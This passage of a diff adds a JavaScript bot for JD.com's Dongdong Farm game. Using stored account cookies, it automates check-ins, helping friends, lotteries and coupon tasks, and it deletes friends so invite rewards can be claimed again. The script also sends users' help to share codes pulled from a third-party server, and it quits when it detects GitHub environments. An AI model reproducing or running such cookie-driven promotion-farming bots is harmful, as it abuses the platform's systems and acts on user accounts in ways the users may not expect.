$.masterHelpResult.masterHelpPeoples.map((item, index) => { + if (index === ($.masterHelpResult.masterHelpPeoples.length - 1)) { + str += item.nickName || "匿名用户"; + } else { + str += (item.nickName || "匿名用户") + ','; + } + let date = new Date(item.time); + let time = date.getFullYear() + '-' + (date.getMonth() + 1) + '-' + date.getDate() + ' ' + date.getHours() + ':' + date.getMinutes() + ':' + date.getMinutes(); + console.log(`\n京东昵称【${item.nickName || "匿名用户"}】 在 ${time} 给您助过力\n`); + }) + message += `【助力您的好友】${str}\n`; + } + console.log('领取额外奖励水滴结束\n'); + } +} +//助力好友 +async function masterHelpShare() { + console.log('开始助力好友') + let salveHelpAddWater = 0; + let remainTimes = 3;//今日剩余助力次数,默认3次(京东农场每人每天3次助力机会)。 + let helpSuccessPeoples = '';//成功助力好友 + console.log(`格式化后的助力码::${JSON.stringify(newShareCodes)}\n`); + + for (let code of newShareCodes) { + console.log(`开始助力京东账号${$.index} - ${$.nickName}的好友: ${code}`); + if (!code) continue; + if (code === $.farmInfo.farmUserPro.shareCode) { + console.log('不能为自己助力哦,跳过自己的shareCode\n') + continue + } + await masterHelp(code); + if ($.helpResult.code === '0') { + if ($.helpResult.helpResult.code === '0') { + //助力成功 + salveHelpAddWater += $.helpResult.helpResult.salveHelpAddWater; + console.log(`【助力好友结果】: 已成功给【${$.helpResult.helpResult.masterUserInfo.nickName}】助力`); + console.log(`给好友【${$.helpResult.helpResult.masterUserInfo.nickName}】助力获得${$.helpResult.helpResult.salveHelpAddWater}g水滴`) + helpSuccessPeoples += ($.helpResult.helpResult.masterUserInfo.nickName || '匿名用户') + ','; + } else if ($.helpResult.helpResult.code === '8') { + console.log(`【助力好友结果】: 助力【${$.helpResult.helpResult.masterUserInfo.nickName}】失败,您今天助力次数已耗尽`); + } else if ($.helpResult.helpResult.code === '9') { + console.log(`【助力好友结果】: 之前给【${$.helpResult.helpResult.masterUserInfo.nickName}】助力过了`); + } else if ($.helpResult.helpResult.code === '10') { + console.log(`【助力好友结果】: 好友【${$.helpResult.helpResult.masterUserInfo.nickName}】已满五人助力`); + } else { + console.log(`助力其他情况:${JSON.stringify($.helpResult.helpResult)}`); + } + console.log(`【今日助力次数还剩】${$.helpResult.helpResult.remainTimes}次\n`); + remainTimes = $.helpResult.helpResult.remainTimes; + if ($.helpResult.helpResult.remainTimes === 0) { + console.log(`您当前助力次数已耗尽,跳出助力`); + break + } + } else { + console.log(`助力失败::${JSON.stringify($.helpResult)}`); + } + } + if ($.isLoon() || $.isQuanX() || $.isSurge()) { + let helpSuccessPeoplesKey = timeFormat() + $.farmInfo.farmUserPro.shareCode; + if (!$.getdata(helpSuccessPeoplesKey)) { + //把前一天的清除 + $.setdata('', timeFormat(Date.now() - 24 * 60 * 60 * 1000) + $.farmInfo.farmUserPro.shareCode); + $.setdata('', helpSuccessPeoplesKey); + } + if (helpSuccessPeoples) { + if ($.getdata(helpSuccessPeoplesKey)) { + $.setdata($.getdata(helpSuccessPeoplesKey) + ',' + helpSuccessPeoples, helpSuccessPeoplesKey); + } else { + $.setdata(helpSuccessPeoples, helpSuccessPeoplesKey); + } + } + helpSuccessPeoples = $.getdata(helpSuccessPeoplesKey); + } + if (helpSuccessPeoples && helpSuccessPeoples.length > 0) { + message += `【您助力的好友👬】${helpSuccessPeoples.substr(0, helpSuccessPeoples.length - 1)}\n`; + } + if (salveHelpAddWater > 0) { + // message += `【助力好友👬】获得${salveHelpAddWater}g💧\n`; + console.log(`【助力好友👬】获得${salveHelpAddWater}g💧\n`); + } + message += `【今日剩余助力👬】${remainTimes}次\n`; + console.log('助力好友结束,即将开始领取额外水滴奖励\n'); +} +//水滴雨 +async function executeWaterRains() { + let executeWaterRain = !$.farmTask.waterRainInit.f; + if (executeWaterRain) { + console.log(`水滴雨任务,每天两次,最多可得10g水滴`); + console.log(`两次水滴雨任务是否全部完成:${$.farmTask.waterRainInit.f ? '是' : '否'}`); + if ($.farmTask.waterRainInit.lastTime) { + if (Date.now() < ($.farmTask.waterRainInit.lastTime + 3 * 60 * 60 * 1000)) { + executeWaterRain = false; + // message += `【第${$.farmTask.waterRainInit.winTimes + 1}次水滴雨】未到时间,请${new Date($.farmTask.waterRainInit.lastTime + 3 * 60 * 60 * 1000).toLocaleTimeString()}再试\n`; + console.log(`\`【第${$.farmTask.waterRainInit.winTimes + 1}次水滴雨】未到时间,请${new Date($.farmTask.waterRainInit.lastTime + 3 * 60 * 60 * 1000).toLocaleTimeString()}再试\n`); + } + } + if (executeWaterRain) { + console.log(`开始水滴雨任务,这是第${$.farmTask.waterRainInit.winTimes + 1}次,剩余${2 - ($.farmTask.waterRainInit.winTimes + 1)}次`); + await waterRainForFarm(); + console.log('水滴雨waterRain'); + if ($.waterRain.code === '0') { + console.log('水滴雨任务执行成功,获得水滴:' + $.waterRain.addEnergy + 'g'); + console.log(`【第${$.farmTask.waterRainInit.winTimes + 1}次水滴雨】获得${$.waterRain.addEnergy}g水滴\n`); + // message += `【第${$.farmTask.waterRainInit.winTimes + 1}次水滴雨】获得${$.waterRain.addEnergy}g水滴\n`; + } + } + } else { + // message += `【水滴雨】已全部完成,获得20g💧\n`; + } +} +//打卡领水活动 +async function clockInIn() { + console.log('开始打卡领水活动(签到,关注,领券)'); + await clockInInitForFarm(); + if ($.clockInInit.code === '0') { + // 签到得水滴 + if (!$.clockInInit.todaySigned) { + console.log('开始今日签到'); + await clockInForFarm(); + console.log(`打卡结果${JSON.stringify($.clockInForFarmRes)}`); + if ($.clockInForFarmRes.code === '0') { + // message += `【第${$.clockInForFarmRes.signDay}天签到】获得${$.clockInForFarmRes.amount}g💧\n`; + console.log(`【第${$.clockInForFarmRes.signDay}天签到】获得${$.clockInForFarmRes.amount}g💧\n`) + if ($.clockInForFarmRes.signDay === 7) { + //可以领取惊喜礼包 + console.log('开始领取--惊喜礼包38g水滴'); + await gotClockInGift(); + if ($.gotClockInGiftRes.code === '0') { + // message += `【惊喜礼包】获得${$.gotClockInGiftRes.amount}g💧\n`; + console.log(`【惊喜礼包】获得${$.gotClockInGiftRes.amount}g💧\n`); + } + } + } + } + if ($.clockInInit.todaySigned && $.clockInInit.totalSigned === 7) { + console.log('开始领取--惊喜礼包38g水滴'); + await gotClockInGift(); + if ($.gotClockInGiftRes.code === '0') { + // message += `【惊喜礼包】获得${$.gotClockInGiftRes.amount}g💧\n`; + console.log(`【惊喜礼包】获得${$.gotClockInGiftRes.amount}g💧\n`); + } + } + // 限时关注得水滴 + if ($.clockInInit.themes && $.clockInInit.themes.length > 0) { + for (let item of $.clockInInit.themes) { + if (!item.hadGot) { + console.log(`关注ID${item.id}`); + await clockInFollowForFarm(item.id, "theme", "1"); + console.log(`themeStep1--结果${JSON.stringify($.themeStep1)}`); + if ($.themeStep1.code === '0') { + await clockInFollowForFarm(item.id, "theme", "2"); + console.log(`themeStep2--结果${JSON.stringify($.themeStep2)}`); + if ($.themeStep2.code === '0') { + console.log(`关注${item.name},获得水滴${$.themeStep2.amount}g`); + } + } + } + } + } + // 限时领券得水滴 + if ($.clockInInit.venderCoupons && $.clockInInit.venderCoupons.length > 0) { + for (let item of $.clockInInit.venderCoupons) { + if (!item.hadGot) { + console.log(`领券的ID${item.id}`); + await clockInFollowForFarm(item.id, "venderCoupon", "1"); + console.log(`venderCouponStep1--结果${JSON.stringify($.venderCouponStep1)}`); + if ($.venderCouponStep1.code === '0') { + await clockInFollowForFarm(item.id, "venderCoupon", "2"); + if ($.venderCouponStep2.code === '0') { + console.log(`venderCouponStep2--结果${JSON.stringify($.venderCouponStep2)}`); + console.log(`从${item.name}领券,获得水滴${$.venderCouponStep2.amount}g`); + } + } + } + } + } + } + console.log('开始打卡领水活动(签到,关注,领券)结束\n'); +} +// +async function getAwardInviteFriend() { + await friendListInitForFarm();//查询好友列表 + // console.log(`查询好友列表数据:${JSON.stringify($.friendList)}\n`) + if ($.friendList) { + console.log(`\n今日已邀请好友${$.friendList.inviteFriendCount}个 / 每日邀请上限${$.friendList.inviteFriendMax}个`); + console.log(`开始删除${$.friendList.friends && $.friendList.friends.length}个好友,可拿每天的邀请奖励`); + if ($.friendList.friends && $.friendList.friends.length > 0) { + for (let friend of $.friendList.friends) { + console.log(`\n开始删除好友 [${friend.shareCode}]`); + const deleteFriendForFarm = await request('deleteFriendForFarm', { "shareCode": `${friend.shareCode}`,"version":8,"channel":1 }); + if (deleteFriendForFarm && deleteFriendForFarm.code === '0') { + console.log(`删除好友 [${friend.shareCode}] 成功\n`); + } + } + } + await receiveFriendInvite();//为他人助力,接受邀请成为别人的好友 + if ($.friendList.inviteFriendCount > 0) { + if ($.friendList.inviteFriendCount > $.friendList.inviteFriendGotAwardCount) { + console.log('开始领取邀请好友的奖励'); + await awardInviteFriendForFarm(); + console.log(`领取邀请好友的奖励结果::${JSON.stringify($.awardInviteFriendRes)}`); + } + } else { + console.log('今日未邀请过好友') + } + } else { + console.log(`查询好友列表失败\n`); + } +} +//给好友浇水 +async function doFriendsWater() { + await friendListInitForFarm(); + console.log('开始给好友浇水...'); + await taskInitForFarm(); + const { waterFriendCountKey, waterFriendMax } = $.farmTask.waterFriendTaskInit; + console.log(`今日已给${waterFriendCountKey}个好友浇水`); + if (waterFriendCountKey < waterFriendMax) { + let needWaterFriends = []; + if ($.friendList.friends && $.friendList.friends.length > 0) { + $.friendList.friends.map((item, index) => { + if (item.friendState === 1) { + if (needWaterFriends.length < (waterFriendMax - waterFriendCountKey)) { + needWaterFriends.push(item.shareCode); + } + } + }); + console.log(`需要浇水的好友列表shareCodes:${JSON.stringify(needWaterFriends)}`); + let waterFriendsCount = 0, cardInfoStr = ''; + for (let index = 0; index < needWaterFriends.length; index ++) { + await waterFriendForFarm(needWaterFriends[index]); + console.log(`为第${index+1}个好友浇水结果:${JSON.stringify($.waterFriendForFarmRes)}\n`) + if ($.waterFriendForFarmRes.code === '0') { + waterFriendsCount ++; + if ($.waterFriendForFarmRes.cardInfo) { + console.log('为好友浇水获得道具了'); + if ($.waterFriendForFarmRes.cardInfo.type === 'beanCard') { + console.log(`获取道具卡:${$.waterFriendForFarmRes.cardInfo.rule}`); + cardInfoStr += `水滴换豆卡,`; + } else if ($.waterFriendForFarmRes.cardInfo.type === 'fastCard') { + console.log(`获取道具卡:${$.waterFriendForFarmRes.cardInfo.rule}`); + cardInfoStr += `快速浇水卡,`; + } else if ($.waterFriendForFarmRes.cardInfo.type === 'doubleCard') { + console.log(`获取道具卡:${$.waterFriendForFarmRes.cardInfo.rule}`); + cardInfoStr += `水滴翻倍卡,`; + } else if ($.waterFriendForFarmRes.cardInfo.type === 'signCard') { + console.log(`获取道具卡:${$.waterFriendForFarmRes.cardInfo.rule}`); + cardInfoStr += `加签卡,`; + } + } + } else if ($.waterFriendForFarmRes.code === '11') { + console.log('水滴不够,跳出浇水') + } + } + // message += `【好友浇水】已给${waterFriendsCount}个好友浇水,消耗${waterFriendsCount * 10}g水\n`; + console.log(`【好友浇水】已给${waterFriendsCount}个好友浇水,消耗${waterFriendsCount * 10}g水\n`); + if (cardInfoStr && cardInfoStr.length > 0) { + // message += `【好友浇水奖励】${cardInfoStr.substr(0, cardInfoStr.length - 1)}\n`; + console.log(`【好友浇水奖励】${cardInfoStr.substr(0, cardInfoStr.length - 1)}\n`); + } + } else { + console.log('您的好友列表暂无好友,快去邀请您的好友吧!') + } + } else { + console.log(`今日已为好友浇水量已达${waterFriendMax}个`) + } +} +//领取给3个好友浇水后的奖励水滴 +async function getWaterFriendGotAward() { + await taskInitForFarm(); + const { waterFriendCountKey, waterFriendMax, waterFriendSendWater, waterFriendGotAward } = $.farmTask.waterFriendTaskInit + if (waterFriendCountKey >= waterFriendMax) { + if (!waterFriendGotAward) { + await waterFriendGotAwardForFarm(); + console.log(`领取给${waterFriendMax}个好友浇水后的奖励水滴::${JSON.stringify($.waterFriendGotAwardRes)}`) + if ($.waterFriendGotAwardRes.code === '0') { + // message += `【给${waterFriendMax}好友浇水】奖励${$.waterFriendGotAwardRes.addWater}g水滴\n`; + console.log(`【给${waterFriendMax}好友浇水】奖励${$.waterFriendGotAwardRes.addWater}g水滴\n`); + } + } else { + console.log(`给好友浇水的${waterFriendSendWater}g水滴奖励已领取\n`); + // message += `【给${waterFriendMax}好友浇水】奖励${waterFriendSendWater}g水滴已领取\n`; + } + } else { + console.log(`暂未给${waterFriendMax}个好友浇水\n`); + } +} +//接收成为对方好友的邀请 +async function receiveFriendInvite() { + for (let code of newShareCodes) { + if (code === $.farmInfo.farmUserPro.shareCode) { + console.log('自己不能邀请自己成为好友噢\n') + continue + } + await inviteFriend(code); + // console.log(`接收邀请成为好友结果:${JSON.stringify($.inviteFriendRes)}`) + if ($.inviteFriendRes && $.inviteFriendRes.helpResult && $.inviteFriendRes.helpResult.code === '0') { + console.log(`接收邀请成为好友结果成功,您已成为${$.inviteFriendRes.helpResult.masterUserInfo.nickName}的好友`) + } else if ($.inviteFriendRes && $.inviteFriendRes.helpResult && $.inviteFriendRes.helpResult.code === '17') { + console.log(`接收邀请成为好友结果失败,对方已是您的好友`) + } + } + // console.log(`开始接受6fbd26cc27ac44d6a7fed34092453f77的邀请\n`) + // await inviteFriend('6fbd26cc27ac44d6a7fed34092453f77'); + // console.log(`接收邀请成为好友结果:${JSON.stringify($.inviteFriendRes.helpResult)}`) + // if ($.inviteFriendRes.helpResult.code === '0') { + // console.log(`您已成为${$.inviteFriendRes.helpResult.masterUserInfo.nickName}的好友`) + // } else if ($.inviteFriendRes.helpResult.code === '17') { + // console.log(`对方已是您的好友`) + // } +} +async function duck() { + for (let i = 0; i < 10; i++) { + //这里循环十次 + await getFullCollectionReward(); + if ($.duckRes.code === '0') { + if (!$.duckRes.hasLimit) { + console.log(`小鸭子游戏:${$.duckRes.title}`); + // if ($.duckRes.type !== 3) { + // console.log(`${$.duckRes.title}`); + // if ($.duckRes.type === 1) { + // message += `【小鸭子】为你带回了水滴\n`; + // } else if ($.duckRes.type === 2) { + // message += `【小鸭子】为你带回快速浇水卡\n` + // } + // } + } else { + console.log(`${$.duckRes.title}`) + break; + } + } else if ($.duckRes.code === '10') { + console.log(`小鸭子游戏达到上限`) + break; + } + } +} +// ========================API调用接口======================== +//鸭子,点我有惊喜 +async function getFullCollectionReward() { + return new Promise(resolve => { + const body = {"type": 2, "version": 6, "channel": 2}; + $.post(taskUrl("getFullCollectionReward", body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东农场: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (safeGet(data)) { + $.duckRes = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +/** + * 领取10次浇水奖励API + */ +async function totalWaterTaskForFarm() { + const functionId = arguments.callee.name.toString(); + $.totalWaterReward = await request(functionId); +} +//领取首次浇水奖励API +async function firstWaterTaskForFarm() { + const functionId = arguments.callee.name.toString(); + $.firstWaterReward = await request(functionId); +} +//领取给3个好友浇水后的奖励水滴API +async function waterFriendGotAwardForFarm() { + const functionId = arguments.callee.name.toString(); + $.waterFriendGotAwardRes = await request(functionId, {"version": 4, "channel": 1}); +} +// 查询背包道具卡API +async function myCardInfoForFarm() { + const functionId = arguments.callee.name.toString(); + $.myCardInfoRes = await request(functionId, {"version": 5, "channel": 1}); +} +//使用道具卡API +async function userMyCardForFarm(cardType) { + const functionId = arguments.callee.name.toString(); + $.userMyCardRes = await request(functionId, {"cardType": cardType}); +} +/** + * 领取浇水过程中的阶段性奖励 + * @param type + * @returns {Promise} + */ +async function gotStageAwardForFarm(type) { + $.gotStageAwardForFarmRes = await request(arguments.callee.name.toString(), {'type': type}); +} +//浇水API +async function waterGoodForFarm() { + await $.wait(1000); + console.log('等待了1秒'); + + const functionId = arguments.callee.name.toString(); + $.waterResult = await request(functionId); +} +// 初始化集卡抽奖活动数据API +async function initForTurntableFarm() { + $.initForTurntableFarmRes = await request(arguments.callee.name.toString(), {version: 4, channel: 1}); +} +async function lotteryForTurntableFarm() { + await $.wait(2000); + console.log('等待了2秒'); + $.lotteryRes = await request(arguments.callee.name.toString(), {type: 1, version: 4, channel: 1}); +} + +async function timingAwardForTurntableFarm() { + $.timingAwardRes = await request(arguments.callee.name.toString(), {version: 4, channel: 1}); +} + +async function browserForTurntableFarm(type, adId) { + if (type === 1) { + console.log('浏览爆品会场'); + } + if (type === 2) { + console.log('天天抽奖浏览任务领取水滴'); + } + const body = {"type": type,"adId": adId,"version":4,"channel":1}; + $.browserForTurntableFarmRes = await request(arguments.callee.name.toString(), body); + // 浏览爆品会场8秒 +} +//天天抽奖浏览任务领取水滴API +async function browserForTurntableFarm2(type) { + const body = {"type":2,"adId": type,"version":4,"channel":1}; + $.browserForTurntableFarm2Res = await request('browserForTurntableFarm', body); +} +/** + * 天天抽奖拿好礼-助力API(每人每天三次助力机会) + */ +async function lotteryMasterHelp() { + $.lotteryMasterHelpRes = await request(`initForFarm`, { + imageUrl: "", + nickName: "", + shareCode: arguments[0] + '-3', + babelChannel: "3", + version: 4, + channel: 1 + }); +} + +//领取5人助力后的额外奖励API +async function masterGotFinishedTaskForFarm() { + const functionId = arguments.callee.name.toString(); + $.masterGotFinished = await request(functionId); +} +//助力好友信息API +async function masterHelpTaskInitForFarm() { + const functionId = arguments.callee.name.toString(); + $.masterHelpResult = await request(functionId); +} +//接受对方邀请,成为对方好友的API +async function inviteFriend() { + $.inviteFriendRes = await request(`initForFarm`, { + imageUrl: "", + nickName: "", + shareCode: arguments[0] + '-inviteFriend', + version: 4, + channel: 2 + }); +} +// 助力好友API +async function masterHelp() { + $.helpResult = await request(`initForFarm`, { + imageUrl: "", + nickName: "", + shareCode: arguments[0], + babelChannel: "3", + version: 2, + channel: 1 + }); +} +/** + * 水滴雨API + */ +async function waterRainForFarm() { + const functionId = arguments.callee.name.toString(); + const body = {"type": 1, "hongBaoTimes": 100, "version": 3}; + $.waterRain = await request(functionId, body); +} +/** + * 打卡领水API + */ +async function clockInInitForFarm() { + const functionId = arguments.callee.name.toString(); + $.clockInInit = await request(functionId); +} + +// 连续签到API +async function clockInForFarm() { + const functionId = arguments.callee.name.toString(); + $.clockInForFarmRes = await request(functionId, {"type": 1}); +} + +//关注,领券等API +async function clockInFollowForFarm(id, type, step) { + const functionId = arguments.callee.name.toString(); + let body = { + id, + type, + step + } + if (type === 'theme') { + if (step === '1') { + $.themeStep1 = await request(functionId, body); + } else if (step === '2') { + $.themeStep2 = await request(functionId, body); + } + } else if (type === 'venderCoupon') { + if (step === '1') { + $.venderCouponStep1 = await request(functionId, body); + } else if (step === '2') { + $.venderCouponStep2 = await request(functionId, body); + } + } +} + +// 领取连续签到7天的惊喜礼包API +async function gotClockInGift() { + $.gotClockInGiftRes = await request('clockInForFarm', {"type": 2}) +} + +//定时领水API +async function gotThreeMealForFarm() { + const functionId = arguments.callee.name.toString(); + $.threeMeal = await request(functionId); +} +/** + * 浏览广告任务API + * type为0时, 完成浏览任务 + * type为1时, 领取浏览任务奖励 + */ +async function browseAdTaskForFarm(advertId, type) { + const functionId = arguments.callee.name.toString(); + if (type === 0) { + $.browseResult = await request(functionId, {advertId, type}); + } else if (type === 1) { + $.browseRwardResult = await request(functionId, {advertId, type}); + } +} +// 被水滴砸中API +async function gotWaterGoalTaskForFarm() { + $.goalResult = await request(arguments.callee.name.toString(), {type: 3}); +} +//签到API +async function signForFarm() { + const functionId = arguments.callee.name.toString(); + $.signResult = await request(functionId); +} +/** + * 初始化农场, 可获取果树及用户信息API + */ +async function initForFarm() { + return new Promise(resolve => { + const option = { + url: `${JD_API_HOST}?functionId=initForFarm`, + body: `body=${escape(JSON.stringify({"version":4}))}&appid=wh5&clientVersion=9.1.0`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cache-control": "no-cache", + "cookie": cookie, + "origin": "https://home.m.jd.com", + "pragma": "no-cache", + "referer": "https://home.m.jd.com/myJd/newhome.action", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-site", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Content-Type": "application/x-www-form-urlencoded" + }, + timeout: 10000, + }; + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log('\n东东农场: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (safeGet(data)) { + $.farmInfo = JSON.parse(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 初始化任务列表API +async function taskInitForFarm() { + console.log('\n初始化任务列表') + const functionId = arguments.callee.name.toString(); + $.farmTask = await request(functionId); +} +//获取好友列表API +async function friendListInitForFarm() { + $.friendList = await request('friendListInitForFarm', {"version": 4, "channel": 1}); + // console.log('aa', aa); +} +// 领取邀请好友的奖励API +async function awardInviteFriendForFarm() { + $.awardInviteFriendRes = await request('awardInviteFriendForFarm'); +} +//为好友浇水API +async function waterFriendForFarm(shareCode) { + const body = {"shareCode": shareCode, "version": 6, "channel": 1} + $.waterFriendForFarmRes = await request('waterFriendForFarm', body); +} +async function showMsg() { + if ($.isNode() && process.env.FRUIT_NOTIFY_CONTROL) { + $.ctrTemp = `${process.env.FRUIT_NOTIFY_CONTROL}` === 'false'; + } else if ($.getdata('jdFruitNotify')) { + $.ctrTemp = $.getdata('jdFruitNotify') === 'false'; + } else { + $.ctrTemp = `${jdNotify}` === 'false'; + } + if ($.ctrTemp) { + $.msg($.name, subTitle, message, option); + if ($.isNode()) { + allMessage += `${subTitle}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${subTitle}\n${message}`); + } + } else { + $.log(`\n${message}\n`); + } +} + +function timeFormat(time) { + let date; + if (time) { + date = new Date(time) + } else { + date = new Date(); + } + return date.getFullYear() + '-' + ((date.getMonth() + 1) >= 10 ? (date.getMonth() + 1) : '0' + (date.getMonth() + 1)) + '-' + (date.getDate() >= 10 ? date.getDate() : '0' + date.getDate()); +} +function readShareCode() { + return new Promise(async resolve => { + $.get({url: `http://share.turinglabs.net/api/v3/farm/query/${randomCount}/`, timeout: 10000,}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取个${randomCount}码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > shareCodes.length ? (shareCodes.length - 1) : ($.index - 1); + newShareCodes = shareCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + // newShareCodes = newShareCodes.concat(readShareCodeRes.data || []); + newShareCodes = [...new Set([...newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify(newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log('开始获取配置文件\n') + notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + const jdFruitShareCodes = $.isNode() ? require('./jdFruitShareCodes.js') : ''; + //IOS等用户直接用NobyDa的jd cookie + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(jdFruitShareCodes).forEach((item) => { + if (jdFruitShareCodes[item]) { + $.shareCodesArr.push(jdFruitShareCodes[item]) + } + }) + } else { + if ($.getdata('jd_fruit_inviter')) $.shareCodesArr = $.getdata('jd_fruit_inviter').split('\n').filter(item => !!item); + console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('jd_fruit_inviter') ? $.getdata('jd_fruit_inviter') : '暂无'}\n`); + } + // console.log(`$.shareCodesArr::${JSON.stringify($.shareCodesArr)}`) + // console.log(`jdFruitShareArr账号长度::${$.shareCodesArr.length}`) + console.log(`您提供了${$.shareCodesArr.length}个账号的农场助力码\n`); + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function request(function_id, body = {}, timeout = 1000){ + return new Promise(resolve => { + setTimeout(() => { + $.get(taskUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东农场: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + console.log(`function_id:${function_id}`) + $.logErr(err); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }, timeout) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&appid=wh5&body=${escape(JSON.stringify(body))}`, + headers: { + Cookie: cookie, + UserAgent: $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + }, + timeout: 10000, + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let 